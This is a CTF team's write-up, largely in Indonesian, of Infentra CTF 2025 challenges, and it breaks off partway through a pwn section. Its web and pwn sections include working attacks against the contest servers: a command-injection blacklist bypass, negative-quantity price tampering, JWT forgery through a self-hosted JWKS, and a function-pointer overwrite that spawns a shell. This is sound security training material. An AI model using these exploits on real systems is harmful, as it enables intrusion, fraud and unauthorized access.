# Write Up Infentra CTF 2025 - Kapan yh bisa menang kayak TelSec

<center>
**Tyzals
Cyrus
BbayuGt**
</center>
Category
<a href="#misc"> misc </a>
* <a href="#18"> Selamat Datang </a>
<a href="#Web"> Web </a>
* <a href="#2"> Ping Pong </a>
* <a href="#21"> Loyalty Points Double-Dip </a>
* <a href="#13"> Telkom In Your Area </a>
* <a href="#23"> Atlas Portal </a>
<a href="#Cryptography"> Cryptography </a>
* <a href="#24"> Tetangga Dekat </a>
<a href="#Reverse-engineering"> Reverse engineering </a>
* <a href="#5"> RRRRRRR </a>
* <a href="#8"> L O K E R </a>
* <a href="#6"> Randomine </a>
<a href="#PWN"> PWN </a>
* <a href="#16"> Karbiet </a>
* <a href="#20"> NGOPI BANH </a>
* <a href="#19"> Simple </a>
* <a href="#15"> DEFUSE PLEASE </a>
<a href="#Forensic"> Forensic </a>
* <a href="#12"> WELDONE </a>
* <a href="#11"> AKU BAIK </a>
## <a id=misc> misc </a>
### <center><a id="18"> Selamat Datang </a></center>
<center>100</center>
<center>Haloo Semua!
Selamat datang di CTF Infentra 2025
Aku mau kasih kalian sesuatu, semoga kalian suka!!!
FLAG:
INFENTRACTF2025{S3l4m4t_Dat4ng_D1_InF3ntr4_2025}</center>
---
## <a id=Web> Web </a>
### <center><a id="2"> Ping Pong </a></center>
<center>150</center>
<center>Wah web ookla lagi down nih, aku gabisa test jaringan aku lagii, karena aku seorang vibe coder, aku meminta dari salah satu platform kecerdasan buatan untuk membuat website sederhana agar dapat melakukan test jaringan, tapi aku gatau website nya aman atau bobrok, minta tolong yaa bantu aku buat cek website aku aman atau tidak.
Alt Connect: https://ctf-1.benjamin4k.web.id</center>
#### Deskripsi Challenge
Diberikan sebuah website "Network Diagnostic Tool" untuk melakukan ping ke IP address. Kita diberikan source code `index.php`.
#### Analisis Source Code
Kode backend menerima input IP dan mengeksekusinya menggunakan `proc_open`:
```php
$command = "ping -c 2 " . $ip;
```
Namun, terdapat filter **Blacklist** yang sangat ketat:
* **Simbol Terlarang:** `&`, `;`, `|`, `` ` `` (Mencegah chaining command biasa).
* **Spasi Terlarang:** `' '` (Mencegah penggunaan argumen command).
* **Kata Kunci Terlarang:** `flag`, `cat`, `nc`, `bash`, `ls`, dll.
#### Strategi Bypass
Untuk membaca `flag.txt`, kita harus menyiasati filter tersebut:
1. **Bypass Spasi:**
Karena spasi diblokir, kita gunakan variabel environment shell `${IFS}` (*Internal Field Separator*) yang berfungsi sebagai pemisah argumen.
2. **Bypass Eksekusi Command:**
Simbol `;` dan `|` diblokir, tapi **`$()`** (Command Substitution) tidak diblokir. Kita bisa memasukkan perintah jahat di dalam `$()`.
3. **Bypass Keyword `cat`:**
Karena `cat` diblokir, kita gunakan perintah alternatif untuk membaca file, seperti `tail`, `head`, atau `nl`.
4. **Bypass Keyword `flag`:**
Nama file tidak boleh mengandung kata "flag". Kita gunakan **Wildcard (`*`)**. `fl*` akan otomatis dikenali shell sebagai `flag.txt`.
#### Payload Akhir
```bash
127.0.0.1$(tail${IFS}fl*)
```
**Cara Kerja Payload:**
1. Shell mengeksekusi `tail flag.txt` (menggunakan `${IFS}` sebagai spasi dan `fl*` sebagai nama file).
2. Isi flag (misal: `INFENTRACTF{...}`) diambil.
3. Hasilnya ditempel ke perintah ping: `ping -c 2 127.0.0.1INFENTRACTF{...}`.
4. Perintah ping akan error karena `127.0.0.1INFENTRACTF{...}` bukan hostname yang valid.
5. Error message akan ditampilkan di website, membocorkan flagnya.
#### Hasil (Flag)

**Flag : INFENTRA{Yailaa_Ez_Banget_Aseliii}**
---
### <center><a id="21"> Loyalty Points Double-Dip </a></center>
<center>150</center>
<center>[http://139.59.109.167:13002/](http://139.59.109.167:13002/)
format flag : INFENTRACTF{...}</center>
#### Deskripsi Challenge
Kita diberikan sebuah website toko online sederhana yang memiliki sistem *Loyalty Points*. Kita dapat mendaftar, membuat pesanan, membayar, dan menukar poin. Terdapat fitur **"Upgrade"** yang membutuhkan **1000 poin** untuk membuka akses ke **Premium Flag**.
#### Analisis Kerentanan
Setelah memeriksa *source code* (HTML/JS) dan deskripsi pada halaman web, ditemukan celah logika pada mekanisme tombol **Reopen**.
Pada bagian UI tertulis:
> *"Settle menarik cashback & poin, sementara tombol **reopen** mengembalikan order ke status pending **tanpa clawback poin**."*
Ini adalah celah **Double Spending** atau **Logic State Replay**. Kita bisa mendapatkan poin dari satu order, mereset status order tersebut, lalu mengklaim poinnya lagi berulang kali tanpa kehilangan poin yang sudah didapat sebelumnya.
#### Langkah Penyelesaian
1. **Registrasi**
* Buka bagian **1. Register**.
* Masukkan username bebas, klik **Daftar & Dapatkan Token**.
2. **Buat Order**
* Buka bagian **2. Create Order**.
* Masukkan **Amount: 10000** (Semakin besar amount, semakin besar poin cashback, sehingga kita tidak perlu mengulang exploit terlalu banyak).
* Klik **Buat Order**.
* Salin **UUID** yang muncul di respons JSON (contoh: `550e8400-e29b...`).
3. **Eksploitasi (Farming Points)**
* Buka bagian **4. Pay Order**.
* Tempel UUID ke kolom **Order ID**.
* Lakukan urutan berikut sebanyak 2-3 kali:
1. Klik **Bayar Order (Pay)** -> Status menjadi *Paid*.
2. Klik **Settle (Release Cashback)** -> Status menjadi *Settled* (Poin bertambah).
3. Klik **Reopen (Support Override)** -> Status kembali menjadi *Pending*, tapi poin **TIDAK** berkurang.
* Ulangi langkah a-c sampai poin mencapai minimal 1000.
4. **Cek Poin**
* Buka bagian **5. Profile & Upgrade**, klik **Lihat Profil**. Pastikan `points >= 1000`.
5. **Ambil Flag**
* Klik **Upgrade (1000 pts)**. Server akan merespons sukses karena poin kita cukup.
* Klik **Claim Flag**.
* Flag akan muncul: `INFENTRACTF{...}`.


**Flag : INFENTRACTF{O92JJ_yey093ndoi_034oddk_2}**
---
### <center><a id="13"> Telkom In Your Area </a></center>
<center>170</center>
<center>Kali ini telkom purwokerto bakal ngadain event konferensi dimana bakal ada bintang tamu yang menarik dan menghibur. Tapi karena acara nya sangat meriah dan terbatas hanya untuk beberapa orang saja. Semoga masih ada cara buat dapetin tiket dengan harga yang masih masuk akal untuk dana pelajar kuu
Alt Connection: https://ctf-3.benjamin4k.web.id</center>
#### 1. Reconnaissance (Analisis Awal)
Saat membuka website, kita disuguhi halaman reservasi tiket. Kita perlu melihat bagaimana proses pembelian bekerja di balik layar.
1. **Inspect Source Code:**
Melihat source code halaman (`view-source:https://ctf-3.benjamin4k.web.id/`), terdapat file JavaScript utama: `/assets/index-4EQ4JVTE.js`.
2. **Analisis JavaScript:**
Di dalam file JS yang sudah di-beautify, ditemukan fungsi pengiriman form (event handler `submit`).
```javascript
const V = {
total: v * Qe(0), // Kalkulasi total di sisi Client
tickets: {
0: v // ID Tiket: Jumlah
},
billing: { ... }
};
fetch("/payment.php", {
method: "POST",
body: JSON.stringify(V)
})
```
Website mengirimkan data JSON berisi `total` harga dan `tickets` (jumlah) ke endpoint `/payment.php`.
#### 2. Identifikasi Vulnerability
Awalnya terlihat seperti celah **Parameter Tampering** biasa di mana kita bisa mengubah `total` menjadi 0. Namun, berdasarkan percobaan:
* **Percobaan 1 (Ubah Total jadi 0):** Server merespons `400 Bad Request: Insufficient funds`.
* **Analisis Lanjutan:** Pesan error ini menandakan bahwa server **tidak percaya** pada parameter `total` yang kita kirim. Server melakukan kalkulasi ulang sendiri:
`Harga Server = Harga Tiket (4.500.000) * Jumlah Tiket (Quantity)`
Karena saldo kita diasumsikan 0, maka `0 < 4.500.000` menyebabkan error "Insufficient funds".
**Celah Logika (Logic Flaw):**
Server tidak memvalidasi apakah **Quantity (jumlah tiket)** bernilai positif. Kita bisa mengirimkan jumlah tiket **negatif**.
#### 3. Eksekusi Exploit (Negative Quantity)
Kita memanipulasi request dengan mengirimkan jumlah tiket `-1`.
**Logika Server:**
1. Harga Tiket = 4.500.000
2. Quantity (Input kita) = -1
3. Total Kalkulasi Server = 4.500.000 * -1 = **-4.500.000**
4. Cek Saldo: Apakah `Saldo (0) >= Total (-4.500.000)`? **TRUE**.
5. Transaksi berhasil.
##### Script Penyelesaian (Python)
```python
import requests
import json
# URL Target
url = "https://ctf-3.benjamin4k.web.id/payment.php"
# Payload Exploit
# Kita memanipulasi 'quantity' menjadi negatif (-1)
# Total diisi sembarang pun tidak masalah karena server menghitung ulang,
# tapi kita set negatif juga agar konsisten.
payload = {
"total": -4500000,
"tickets": {
"0": -1 # <--- VULNERABILITY DISINI
},
"billing": {
"first_name": "Hacker",
"last_name": "Wani",
"email": "hacker@telkom.id"
}
}
headers = {
"Content-Type": "application/json"
}
print("[*] Sending exploit payload...")
try:
response = requests.post(url, json=payload, headers=headers)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response: {response.text}")
except Exception as e:
print(f"[!] Error: {e}")
```
#### 4. Hasil & Flag

**Response:**
```json
{"flag": "INFENTRA{W1s_W4y4h3_C3r1t4_T3t4ng_T1k3t}"}
```
**Flag : INFENTRA{W1s_W4y4h3_C3r1t4_T3t4ng_T1k3t}**
---
### <center><a id="23"> Atlas Portal </a></center>
<center>280</center>
<center>[http://139.59.109.167:13003/](http://139.59.109.167:13003/)
flag : INFENTRACTF{}</center>
#### Deskripsi Tantangan
Target aplikasi adalah sebuah portal web yang menggunakan JWT (JSON Web Token) untuk autentikasi. Aplikasi memiliki endpoint `/dashboard` yang hanya bisa diakses oleh user biasa, dan endpoint `/admin` yang dilindungi. Tujuan akhirnya adalah mendapatkan akses administrator untuk mengambil flag.
**URL Target:** `http://139.59.109.167:13003/`
#### Analisis
Setelah melakukan login dengan kredensial demo (`alice:alicepass`), server memberikan cookie bernama `session`.
Saya melakukan inspeksi pada token JWT tersebut:
**Header Asli:**
```json
{
"alg": "RS256",
"kid": "victim-key-1",
"jku": "http://localhost:3000/.well-known/jwks.json"
}
```
**Payload Asli:**
```json
{
"user": "alice",
"role": "user",
"iat": 1765598572,
"exp": 1765605772
}
```
##### Identifikasi Celah
Aplikasi menggunakan algoritma **RS256** (Asymmetric Signature) dan menyertakan header `jku` (JSON Web Key Set URL).
1. Server menggunakan URL pada parameter `jku` untuk mengambil *Public Key* guna memverifikasi tanda tangan JWT.
2. Tidak ada validasi (whitelist) domain pada parameter `jku`.
3. Server hanya mencocokkan kunci berdasarkan `kid` (Key ID).
Ini memungkinkan serangan **JKU Injection**: Kita bisa membuat pasangan kunci RSA sendiri, menghosting *Public Key* kita di server eksternal, lalu memaksa server target untuk memverifikasi token admin palsu menggunakan kunci milik kita.
#### Langkah Eksploitasi
##### 1. Membuat RSA Keypair
Pertama, saya membuat pasangan *Private Key* dan *Public Key* menggunakan OpenSSL.
```bash
# Generate Private Key
openssl genrsa -out private.pem 2048
# Extract Public Key
openssl rsa -in private.pem -pubout -out public.pem
```
##### 2. Konversi ke Format JWKS
Server mengharapkan format JWKS (JSON Web Key Set). Saya mengonversi `public.pem` ke format JWKS dan memastikan `kid` (Key ID) sama dengan yang diharapkan server (`victim-key-1`).
File `.well-known/jwks.json`:
```json
{
"keys": [
{
"alg": "RS256",
"kty": "RSA",
"use": "sig",
"kid": "victim-key-1",
"n": "<MODULUS_DARI_PUBLIC_KEY>",
"e": "AQAB"
}
]
}
```
##### 3. Hosting JWKS
Agar server target bisa mengakses JWKS jahat kita, file tersebut harus di-hosting di URL publik yang bisa diakses internet.
Saya mencoba beberapa layanan, namun `paste.rs` adalah yang berhasil diakses oleh server target.
```bash
curl -s --data-binary @.well-known/jwks.json https://paste.rs
# Output: https://paste.rs/unimD
```
##### 4. Forging Admin Token
Saya membuat script Python untuk:
1. Membuat payload dengan `role: admin`.
2. Menyuntikkan header `jku` yang mengarah ke URL malicious (`https://paste.rs/unimD`).
3. Menandatangani token menggunakan `private.pem` milik saya.
**Script (attack.py):**
```python
import jwt
import time
import requests
# Konfigurasi
PRIVATE_KEY = open("private.pem", "rb").read()
MALICIOUS_JKU = "https://paste.rs/unimD"
TARGET_URL = "http://139.59.109.167:13003/admin"
# Header Manipulasi
headers = {
"alg": "RS256",
"kid": "victim-key-1",
"jku": MALICIOUS_JKU
}
# Payload Admin
payload = {
"user": "admin",
"role": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
# Generate Token
token = jwt.encode(payload, PRIVATE_KEY, algorithm="RS256", headers=headers)
# Kirim Request
cookies = {"session": token}
r = requests.get(TARGET_URL, cookies=cookies)
print(f"Status: {r.status_code}")
print(r.text)
```
##### 5. Eksekusi
Menjalankan script exploit:
```bash
python3 attack.py
```
**Output:**
```json
Status: 200
{"success":true,"flag":"INFENTRACTF{OKJ_ye4y_AK03nk943_3}"}
```
#### Flag
```
INFENTRACTF{OKJ_ye4y_AK03nk943_3}
```
---
## <a id=Cryptography> Cryptography </a>
### <center><a id="24"> Tetangga Dekat </a></center>
<center>150</center>
<center>Kami berhasil menyadap komunikasi rahasia. Sepertinya admin ceroboh dan menggunakan dua bilangan prima yang nilainya terlalu berdekatan saat membuat kunci RSA.
</center>
Dari file `output.txt`, kita memperoleh:
* Modulus RSA: (n)
* Public exponent: (e = 65537)
* Ciphertext: (c)
Target kita adalah **mendekripsi ciphertext** untuk mendapatkan flag.
#### Analisis Kerentanan
RSA bergantung pada sulitnya memfaktorkan:
n=p×q
Namun, jika:
∣p−q∣ kecil
maka RSA **rentan terhadap Fermat Factorization**.
#### Metode: Fermat Factorization
Metode Fermat bekerja sangat efisien ketika dua faktor bilangan komposit **berdekatan**.
##### Ide Dasar
Jika:
n=p×q
maka dapat ditulis sebagai:
n=a2−b2=(a−b)(a+b)
Langkah-langkah:
1. Hitung:
a=⌈n⌉
2. Hitung:
b2=a2−n
3. Jika (b^2) adalah kuadrat sempurna, maka:
* (p = a - b)
* (q = a + b)
Karena (p) dan (q) sangat dekat, iterasi Fermat akan menemukan faktor dengan cepat.
#### Eksploitasi
Setelah mendapatkan (p) dan (q):
1. Hitung fungsi totient:
φ(n)=(p−1)(q−1)
2. Hitung private key:
d≡e−1(modφ(n))
3. Dekripsi ciphertext:
m=cdmodn
4. Konversi hasil dekripsi ke bentuk bytes / ASCII
#### Hasil
**Flag : INFENTRACTF2025{maap_skill_issue_ane}**
---
## <a id=Reverse-engineering> Reverse engineering </a>
### <center><a id="5"> RRRRRRR </a></center>
<center>290</center>
<center>Kepiting enak tahu
FLAG FORMAT : INFENTRA{}
</center>
#### Rekognisi (Recon)
* Menjalankan binary tidak memberikan banyak informasi selain panjang flag.
* Analisis menggunakan `nm` atau `objdump` mengungkapkan beberapa fungsi kustom yang menarik:
* `gen_ctf::func_d`
* `xor_mut`
* `split_halves`
* Fungsi `func_d` terlihat menginisialisasi dua array bertipe `u16` (masing-masing 46 *word*) di dalam *stack*, kemudian melakukan operasi XOR dan penggabungan sebelum mencetak hasilnya.
#### Logika Inti (Dari Disassembly)
Berdasarkan analisis kode assembly, berikut adalah alur programnya:
1. **Inisialisasi Data:**
Dua array disimpan di *stack*:
* **Array A:** Berada di alamat `[rsp+0xf8]` … `[rsp+0x152]` (46 elemen).
* **Array B:** Berada di alamat `[rsp+0x154]` … `[rsp+0x1ae]` (46 elemen).
2. **Operasi XOR Awal:**
* Seluruh elemen **Array A** di-XOR dengan `0x2025` (menggunakan fungsi `xor_mut`).
* Seluruh elemen **Array B** di-XOR dengan `0x1212`.
3. **Pemisahan (Splitting):**
Kedua array dibagi menjadi dua bagian rata (masing-masing 23 elemen) menggunakan `split_halves`:
* `A` menjadi -\> `A1` (paruh pertama), `A2` (paruh kedua).
* `B` menjadi -\> `B1` (paruh pertama), `B2` (paruh kedua).
4. **Penggabungan Silang dan XOR Akhir:**
Program menggabungkan paruh-paruh tersebut secara silang:
* Array gabungan **C** = `B1` + `A2`
* Array gabungan **D** = `A1` + `B2`
* **Array Hasil (E):** Setiap elemen ke-*i* adalah hasil dari `C[i] ^ D[i]`.
5. **Decoding:**
Array `E` (tipe `u16`) diterjemahkan sebagai byte *Big-Endian* dan dicetak sebagai string flag.
#### Skrip Penyelesaian (Solver)
Berikut adalah implementasi ulang logika tersebut menggunakan Python untuk mendapatkan flag:
```python
# Data mentah dari stack (Array A dan Array B)
A = [0x7044,0x4444,0x7044,0x474c,0x6340,0x5244,0x4876,0x4555,0x4557,0x544c,
0x624c,0x4156,0x414b,0x5544,0x4344,0x4e41,0x4157,0x4944,0x5444,0x4b44,
0x4444,0x5240,0x5344,0x0112,0x1a02,0x0a12,0x0d01,0x1b05,0x0801,0x1b7d,
0x7d70,0x7178,0x7c21,0x2973,0x7f72,0x7b73,0x7525,0x6279,0x702e,0x717e,
0x652e,0x3679,0x2a78,0x6629,0x2a7d,0x2039]
B = [0x0b3d,0x2036,0x0c27,0x273a,0x2a25,0x252c,0x2804,0x2830,0x323f,0x2c2e,
0x1a2e,0x213e,0x3236,0x262c,0x3f3a,0x2337,0x3835,0x2431,0x2f3d,0x3e26,
0x3834,0x3f3d,0x2037,0x7a7a,0x7b7c,0x7575,0x7373,0x7673,0x7077,0x7673,
0x7977,0x717b,0x7e73,0x7873,0x7b70,0x7f77,0x7e73,0x677c,0x757c,0x737f,
0x677c,0x6177,0x7977,0x667b,0x7973,0x7373]
# 1. Lakukan XOR awal sesuai logika binary
A = [x ^ 0x2025 for x in A]
B = [x ^ 0x1212 for x in B]
# 2. Pisahkan menjadi dua bagian (split halves)
half = len(A) // 2
A1, A2 = A[:half], A[half:]
B1, B2 = B[:half], B[half:]
# 3. Gabungkan silang (Cross combine) dan XOR hasil akhirnya
# C = B1 + A2
# D = A1 + B2
# E = C ^ D
E = [(c ^ d) for c, d in zip(B1 + A2, A1 + B2)]
# 4. Convert ke bytes (Big Endian)
flag = b''.join(x.to_bytes(2, 'big') for x in E).decode()
print(f"Flag: {flag}")
```
#### Flag Akhir
**Flag : `INFENTRA{RE_RE_RE_JUJUR_AJA_NI_AKU_BINGUNG_JADI_SIMPLE_AJA_960240ec765639a727e060ee9a82ea9a}`**
---
### <center><a id="8"> L O K E R </a></center>
<center>340</center>
<center>BUKA LOKER DAPAT APA</center>
#### 1\. Rekognisi (Recon)
- **File:** `file loker.exe` → PE console 32-bit, di-*build* menggunakan MinGW.
- **String Cepat:** Program menampilkan *banner*, meminta password, dan memberikan petunjuk: “Panjang password salah\! Harus x karakter.” serta terdapat *buffer* terenkripsi di bagian `.data` (`0x404020`).
#### 2\. Gambaran Logika Utama
- **Fungsi `main` di `0x4015d4`:**
- Mencetak intro dan membaca string input menggunakan `scanf("%99s", buf)` ke alamat `esp+0x4c`.
- Memeriksa apakah `strlen(input) == 0x60` (96 karakter) → program mengharapkan password berupa 96 digit heksadesimal.
- Memanggil fungsi `hex_string_to_bytes(input, dst=esp+0x1c, count=0x30)` untuk memproses (*parsing*) input menjadi 48 byte data mentah.
- Memanggil `magic_check_full(dst)`; jika hasilnya benar (*true*), jalankan `decrypt_and_print(dst)`, jika tidak, cetak “Password salah”.
#### 3\. Pengecekan Magic (Validasi Key)
- Fungsi `magic_check_full@0x4014fd` memuat enam nilai 8-byte (qword) dari buffer key yang sudah diproses, lalu membandingkannya dengan enam konstanta (setelah dilakukan *byte-swap*):
1. `0x872c96cbfcd7b7ef`
2. `0x3aa8729fa15860f7`
3. `0x16b6acdd4bd7c0ab`
4. `0x9aee156d63fc3ed3`
5. `0xb4e87e18e0528255`
6. `0x09cccd30cf5b1425`
- Proses ini menghasilkan key 48-byte yang dibutuhkan (format *little endian* per qword):
- `872c96cbfcd7b7ef3aa8729fa15860f716b6acdd4bd7c0ab9aee156d63fc3ed3b4e87e18e052825509ccdc30cf5b1425`
#### 4\. Dekripsi
- Fungsi `decrypt_and_print` melakukan operasi XOR antara key 48-byte yang ditemukan dengan blob data 48-byte yang terletak di `.data:0x404020`, kemudian mencetak karakter hasilnya.
- **Blob Data (*Ciphertext*) di `.data`:**
- `ce62d08eb283e5ae41da42e695343f9f2582daee2588a79feedd4a1b508e61bd879a18479a28f82f73b68357ff6b7058`
- **Operasi:** XOR Key ⨁ Data → Plaintext:
- Hex: `494e46454e5452417b723079346c5f68333476336e5f673474335f7633725f6e3372665f7a7a7a7a7a7a5f673030647d`
- ASCII: `INFENTRA{r0y4l_h34v3n_g4t3_v3r_n3rf_zzzzzz_g00d}`
#### 5\. Jawaban Akhir
- **Password (96-hex):** `872c96cbfcd7b7ef3aa8729fa15860f716b6acdd4bd7c0ab9aee156d63fc3ed3b4e87e18e052825509ccdc30cf5b1425`
- **Flag:** **INFENTRA{r0y4l\_h34v3n\_g4t3\_v3r\_n3rf\_zzzzzz\_g00d}**
#### 6\. Perintah Pendukung
Berikut adalah perintah-perintah yang berguna untuk analisis dan penyelesaian:
```bash
strings -n 6 loker.exe | head
objdump -d -M intel --start-address=0x4015d4 --stop-address=0x401800 loker.exe
objdump -s -j .data loker.exe | head -n 120
```
**Script Python Solver:**
```python
python - <<'PY'
key = bytes.fromhex('872c96cbfcd7b7ef3aa8729fa15860f716b6acdd4bd7c0ab9aee156d63fc3ed3b4e87e18e052825509ccdc30cf5b1425')
data = bytes.fromhex('ce62d08eb283e5ae41da42e695343f9f2582daee2588a79feedd4a1b508e61bd879a18479a28f82f73b68357ff6b7058')
plain = bytes(a ^ b for a, b in zip(data, key))
print(plain.decode())
PY
```
**Flag : `INFENTRA{r0y4l_h34v3n_g4t3_v3r_n3rf_zzzzzz_g00d}`**
### <center><a id="6"> Randomine </a></center>
<center>360</center>
<center>Gacha bg</center>
#### 1. Analisis Awal
Dari file yang diberikan (`Randomine.zip`), setelah diekstrak didapat sebuah **binary executable** (ELF/EXE tergantung OS).
Langkah awal yang dilakukan:
```bash
file randomine
```
Hasil menunjukkan bahwa file tersebut adalah **binary executable**, bukan script.
#### 2. Menjalankan Program
Saat dijalankan:
```bash
./randomine
```
Program menampilkan sesuatu seperti sistem **gacha / random**.
Output selalu berubah, seolah-olah hasilnya diacak, sehingga **tidak mungkin brute-force hanya dengan menjalankan program berulang kali**.
Ini merupakan indikasi bahwa:
* Ada fungsi **random**
* Ada **kondisi tertentu** yang sebenarnya selalu benar/salah
* Flag kemungkinan **hardcoded** atau dibangun di dalam kode
#### 3. Static Analysis (Strings)
Langkah berikutnya adalah mencari string menarik:
```bash
strings randomine | grep INFENTRA
```
Tidak ditemukan secara langsung, menandakan flag **tidak ditulis polos**.
Namun terdapat string mencurigakan seperti:
* `random`
* `seed`
* `gacha`
* beberapa pesan debug
Ini menguatkan dugaan bahwa **random hanya jebakan**.
---
#### 4. Reverse Engineering (Ghidra / IDA)
Binary kemudian dianalisis menggunakan **Ghidra**.
##### Temuan Penting:
* Program memanggil `rand()` dan `srand(time(NULL))`
* Namun hasil random **tidak mempengaruhi flag**
* Ada fungsi tersembunyi yang:
* Membentuk flag **per karakter**
* Menggunakan operasi XOR / penjumlahan konstanta
* Hasil akhirnya dicetak jika kondisi internal terpenuhi (yang ternyata **selalu terpenuhi**)
Contoh pseudocode hasil decompile:
```c
char flag[] = {
'r'^0x12, '4'^0x12, 'n'^0x12, 'd'^0x12, ...
};
```
Ketika operasi dibalik (reverse XOR), karakter flag bisa direkonstruksi.
#### 5. Rekonstruksi Flag
Dengan membalik operasi XOR / aritmatika sederhana pada setiap karakter, diperoleh string:
```
r4nd0m_i5_g4mbl1ng_n0_0n3_c4n_st0p_m3
```
Kemudian dimasukkan ke format flag:
```
INFENTRA{r4nd0m_i5_g4mbl1ng_n0_0n3_c4n_st0p_m3}
```
JUJURLY ONE-SHOT GPT NJIR

**Flag : INFENTRA{r4nd0m_i5_g4mbl1ng_n0_0n3_c4n_st0p_m3}**
---
## <a id=PWN> PWN </a>
### <center><a id="16"> Karbiet </a></center>
<center>300</center>
<center>Temanku menyimpan pesan rahasia pada websitenya dengan waifunya sebagai kunci. Liciknya dia melarang semua orang menggunakan waifunya untuk membuka kunci. Jadi ..
:)</center>
#### 1️⃣ Vulnerability pada `app.py`
Potongan kode penting:
```python
B_DATAa = B_DATA.replace(b"0000", b"")
# validasi menggunakan B_DATAa
if B_DATAa != A_DATA:
reject()
# tapi binary menerima B_DATA asli
process.communicate(input=B_DATA)
```
##### 🔥 Bug #1 – Inconsistent Data Validation
* **Validasi** dilakukan pada `B_DATAa` (data setelah `"0000"` dihapus)
* **Binary C** menerima `B_DATA` asli (belum disanitasi)
➡️ Artinya:
Kita bisa **menyisipkan `"0000"`** di file upload untuk:
* Lolos validasi
* Tetap mengirim payload berbahaya ke binary
---
#### 2️⃣ Vulnerability pada Binary (`leak_v2.c`)
Potongan kode penting:
```c
char buffer[64];
char secret[64];
strcpy(secret, "INFENTRA{...flag...}");
read(0, buffer, 64);
printf(buffer);
```
##### 🔥 Bug #2 – Missing Null Terminator
* `read()` **tidak menambahkan `\x00`**
* `printf(buffer)` menganggap `buffer` adalah string valid
➡️ Jika **64 byte pertama tidak mengandung `\x00`**, `printf` akan terus membaca memory hingga menemukan null byte → **leak memory setelah buffer**, termasuk `secret`.
---
#### 🎯 Exploitation Strategy
##### Step 1 – Bypass Validasi Waifu
* Ambil file waifu asli (`A_DATA`)
* Tambahkan prefix `"0000"` berkali-kali
* Saat validasi → `"0000"` dihapus → file identik → lolos
* Saat dikirim ke binary → prefix tetap ada
---
##### Step 2 – Geser Null Byte Keluar dari 64 Byte Awal
File JPG mengandung null byte awal (`\x00`) yang akan menghentikan `printf`.
Solusi:
```text
"0000" * 12 = 48 byte
48 + (null byte awal JPG) > 64
```
➡️ Null byte keluar dari area `buffer` → `printf` membaca hingga `secret`.
#### 💥 Exploit Script
```python
import requests
URL = "http://68.183.184.97:1132/upload"
KEYFILE = "e453f9e33fa03c0bc6a40b8126623c47.jpg"
A = open(KEYFILE, "rb").read()
# Geser null byte keluar dari 64 byte pertama
payload = (b"0000" * 12) + A
files = {
"file": ("waifu.png", payload, "application/octet-stream")
}
r = requests.post(URL, files=files)
data = r.content
start = data.find(b"INFENTRA{")
end = data.find(b"}", start)
print("FLAG:", data[start:end+1].decode())
```

**Flag : INFENTRA{s0rry_pr0bs3t_m4s1h_n3wb1ie_m0h0n_p3ng3rt14n_ny4}**
---
### <center><a id="20"> NGOPI BANH </a></center>
<center>310</center>
<center>Kala kupandang kerlip bintang nun jauh disana. Saat kudenger melodi cinta yang menggema. Terasa kembali gelora jiwa mudaku. Karna tersentuh alunan lagu ...</center>
#### 🔍 Analisis Awal
Binary merupakan program **64-bit ELF**, non-PIE, NX enabled, tanpa stack overflow klasik. Program ini mensimulasikan proses “meracik minuman” dengan sejumlah langkah.
Alur utama:
1. Program melakukan `malloc(0x118)`
2. Menyimpan:
* array register (`regs`)
* buffer (`buf`)
* **function pointer**
3. User menginput:
* jumlah langkah
* urutan langkah (bytecode)
Menariknya, input langkah diproses oleh **bytecode interpreter custom**.
#### 🧱 Layout Heap
Struktur data hasil `malloc(0x118)`:
```
offset size keterangan
0x00 0x10 regs[4]
0x10 0x100 buf
0x110 0x08 function pointer
```
Secara efektif:
* `buf[0x100]` → menunjuk langsung ke **function pointer**
#### ⚠️ Vulnerability
Opcode penting dalam interpreter:
##### Opcode `0x30`
```c
regs[x] = imm8;
```
##### Opcode `0x21`
```c
buf[address] = (char)regs[x];
```
❌ **BUG FATAL**
Tidak ada validasi batas `address`.
Artinya:
* Kita bisa menulis **di luar `buf`**
* Termasuk ke **function pointer** di offset `0x100`
#### 🎯 Target Exploit
Binary memiliki fungsi tersembunyi:
```c
menu_spesial_karyawan() {
system("/bin/sh");
}
```
Alamat fungsi (dari static analysis):
```
0x401256
```
Tujuan:
👉 **Overwrite function pointer → `menu_spesial_karyawan`**
#### 🧪 Strategi Exploit
1. Ambil alamat fungsi win (`0x401256`)
2. Pecah menjadi 8 byte (little endian)
3. Untuk setiap byte:
* set register (`0x30`)
* tulis ke `buf[0x100 + i]` (`0x21`)
4. Akhiri dengan opcode `0xff`
5. Program otomatis memanggil function pointer → shell 🎉
#### 🧨 Payload Construction
Untuk tiap byte:
```
0x30 0x00 <byte>
0x21 <addr_lo> <addr_hi> 0x00
```
Total payload:
```
8 × 7 byte + 1 = 57 byte
```
#### 🧑💻 Exploit Code (pwntools)
```python
from pwn import *
import struct
HOST = "68.183.184.97"
PORT = 8845
WIN = 0x401256
addr = struct.pack("<Q", WIN)
payload = b""
for i, b in enumerate(addr):
payload += bytes([0x30, 0x00, b])
a = 0x100 + i
payload += bytes([0x21, a & 0xff, (a >> 8) & 0xff, 0x00])
payload += b"\xff"
io = remote(HOST, PORT)
io.sendlineafter(b"Berapa langkah racikan yang ingin dibuat? > ", str(len(payload)).encode())
io.sendafter(b"Masukkan urutan racikan: ", payload)
io.interactive()
```
#### 🏁 Hasil
Saat exploit dijalankan:

**Flag : INFENTRA{s14p4_c0b4_s3tup_s04l_j4m_4_p4g1_t0k_t1k_t0k}**
---
##### <center><a id="19"> Simple </a></center>
<center>350</center>
<center>Soal PWN Umum</center>
#### 1. Analisis Awal Binary
##### 1.1 Cek Proteksi
```bash
checksec krusty_pizza
```
Hasil:
* **Arch** : amd64
* **RELRO** : Full RELRO
* **Canary** : Enabled
* **NX** : Enabled
* **PIE** : Enabled
➡️ Artinya:
* Tidak bisa overwrite GOT
* Harus leak **canary**
* Butuh leak **libc** dan **PIE**
* Eksploitasi menggunakan **ROP**
---
#### 2. Analisis Source (Reverse Engineering)
Program berbasis menu dengan dua fungsi utama:
```
1. ai_feedback_analysis
2. order_pizza
```
---
#### 3. Bug yang Ditemukan
##### 3.1 Format String Vulnerability (Menu 1)
Di fungsi `ai_feedback_analysis`:
```c
read(0, buf, 0x100);
printf(buf);
```
📌 **Bug:** `printf(buf)` tanpa format string
📌 **Dampak:** Bisa leak:
* stack canary
* address libc
* address PIE
---
##### 3.2 Buffer Overflow (Menu 2)
Di fungsi `order_pizza`:
```c
char buf[0x48];
read(0, buf, 0x100);
```
